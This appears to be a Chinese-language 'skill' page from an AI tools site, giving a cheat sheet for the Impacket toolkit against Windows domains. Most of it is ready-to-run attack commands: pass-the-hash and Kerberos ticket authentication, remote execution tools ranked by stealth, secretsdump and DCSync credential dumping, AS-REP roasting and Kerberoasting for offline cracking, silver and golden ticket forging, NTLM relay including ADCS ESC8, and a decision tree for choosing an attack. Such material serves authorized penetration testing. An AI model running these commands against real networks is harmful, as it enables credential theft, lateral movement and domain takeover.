SuperAPI AI 工具集

impacket-toolkit

安全与审计

查看项目

更新于 10-16 04:41

技能介绍

Impacket 是一套用纯 Python 实现的 Windows 网络协议工具集,在 Linux 上即可直接操作 Windows 目标,不需要在目标上安装任何东西。项目地址:https://github.com/fortra/impacket

认证方式

Impacket 所有工具都支持多种认证方式,理解这些格式很重要:

# 密码认证
tool.py DOMAIN/user:password@TARGET

# NTLM 哈希传递 (Pass-the-Hash)
tool.py DOMAIN/user@TARGET -hashes LM:NTLM
tool.py DOMAIN/user@TARGET -hashes :NTLM  # LM 部分可省略

# Kerberos 票据认证
export KRB5CCNAME=/tmp/user.ccache
tool.py DOMAIN/user@TARGET -k -no-pass

# 本地用户(不在域内)
tool.py ./administrator:password@TARGET

远程命令执行

从无交互到全交互,选最稳定的:

# psexec — 通过 SMB 创建服务执行(最常用,需要管理员权限)
psexec.py DOMAIN/admin:password@TARGET
psexec.py DOMAIN/admin@TARGET -hashes :NTLM_HASH

# smbexec — 通过 SMB 管道执行(不上传二进制,更隐蔽)
smbexec.py DOMAIN/admin:password@TARGET

# wmiexec — 通过 WMI 执行(不创建服务,最隐蔽)
wmiexec.py DOMAIN/admin:password@TARGET

# dcomexec — 通过 DCOM 执行(备选)
dcomexec.py DOMAIN/admin:password@TARGET

# atexec — 通过计划任务执行(不需要交互式 shell)
atexec.py DOMAIN/admin:password@TARGET "whoami"

选择建议:

工具 协议 端口 隐蔽性 交互式
wmiexec WMI/DCOM 135 ⭐⭐⭐ ✅
smbexec SMB 445 ⭐⭐ ✅
psexec SMB 445 ⭐ ✅
atexec 任务计划 445 ⭐⭐ ❌
dcomexec DCOM 135 ⭐⭐ ✅

凭据导出

# secretsdump — 域渗透最重要的工具,导出所有凭据
# 远程导出(需要域管/本地管理员)
secretsdump.py DOMAIN/admin:password@TARGET
secretsdump.py DOMAIN/admin@TARGET -hashes :NTLM_HASH

# 导出 DC 上所有域用户哈希(DCSync)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc

# 只导出 NTLM(不导出 Kerberos 密钥)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc-ntlm

# 从本地 SAM/SYSTEM 文件导出
secretsdump.py -sam SAM -system SYSTEM LOCAL

Kerberos 攻击

# AS-REP Roasting — 查找不需要预认证的账户
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# 输出喂给 hashcat -m 18200

# Kerberoasting — 获取服务票据离线破解
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# 输出喂给 hashcat -m 13100

# 获取 TGT
getTGT.py DOMAIN/user:password -dc-ip DC_IP
# 生成 user.ccache → export KRB5CCNAME=user.ccache

# 获取 ST(约束委派 S4U 利用)
getST.py DOMAIN/svc_account:password -spn cifs/TARGET -impersonate administrator -dc-ip DC_IP
# -altservice 可替换服务类型

# Silver Ticket
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -spn cifs/TARGET user

# Golden Ticket
ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -extra-sid S-1-5-21-PARENT-519 user

枚举工具

# SID 枚举(发现用户/组 RID)
lookupsid.py DOMAIN/user:password@TARGET

# RPC 枚举(暴露的接口)
rpcdump.py DOMAIN/user:password@TARGET

# SAM 用户枚举
samrdump.py DOMAIN/user:password@TARGET

# 远程注册表操作
reg.py DOMAIN/admin:password@TARGET query -keyName HKLM\\SOFTWARE

NTLM 中继

# 中继到 SMB(获取 shell 或 secretsdump)
ntlmrelayx.py -t smb://TARGET -smb2support
ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"

# 中继到 LDAP(域内 ACL 修改)
ntlmrelayx.py -t ldap://DC_IP --escalate-user user

# 中继到 ADCS Web Enrollment(ESC8)
ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController

# 配合 Responder 使用
# 终端 1: responder -I eth0 -wv(抓 NTLM)
# 终端 2: ntlmrelayx.py -t smb://TARGET(中继 NTLM)

SMB 文件操作

# SMB 客户端
smbclient.py DOMAIN/user:password@TARGET

# 列出共享
smbclient.py DOMAIN/user:password@TARGET -list

# 上传/下载文件
smbclient.py DOMAIN/user:password@TARGET
# > use SHARE_NAME
# > put local_file
# > get remote_file

决策树

需要做什么 Windows 操作?
├─ 远程执行命令 → wmiexec(隐蔽)/ psexec(稳定)
├─ 导出凭据/哈希 → secretsdump
├─ Kerberos 攻击 → GetNPUsers / GetUserSPNs
├─ NTLM 中继 → ntlmrelayx + Responder
├─ 文件操作 → smbclient
├─ 有密码 → 直接用 user:password
├─ 有 NTLM 哈希 → -hashes :NTLM(PTH)
└─ 有 Kerberos 票据 → -k -no-pass